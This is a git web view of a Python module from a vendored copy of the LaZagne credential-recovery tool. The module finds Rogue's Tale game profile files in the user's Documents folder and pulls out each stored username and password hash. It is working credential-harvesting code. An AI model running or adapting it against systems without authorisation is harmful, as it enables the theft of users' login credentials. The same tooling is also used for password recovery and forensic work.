summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/games/roguestale.py
blob: ded16eb72dae2b088ad5a9ff8d13aba786548ca2 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*- 
import os
import re
from xml.etree.cElementTree import ElementTree

from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.module_info import ModuleInfo


class RoguesTale(ModuleInfo):
    def __init__(self):
        ModuleInfo.__init__(self, 'roguestale', 'games')

    def run(self):
        creds = []
        directory = constant.profile['USERPROFILE'] + u'\\Documents\\Rogue\'s Tale\\users'

        # The actual user details are stored in *.userdata files
        if os.path.exists(directory):
            files = os.listdir(directory)

            for f in files:
                if re.match('.*\.userdata', f):
                    # We've found a user file, now extract the hash and username

                    xmlfile = directory + '\\' + f
                    tree = ElementTree(file=xmlfile)
                    root = tree.getroot()

                    # Double check to make sure that the file is valid
                    if root.tag != 'user':
                        self.warning(u'Profile %s does not appear to be valid' % f)
                        continue

                    # Now save it to credentials
                    creds.append({
                        'Login': root.attrib['username'],
                        'Hash': root.attrib['password']
                    })

            return creds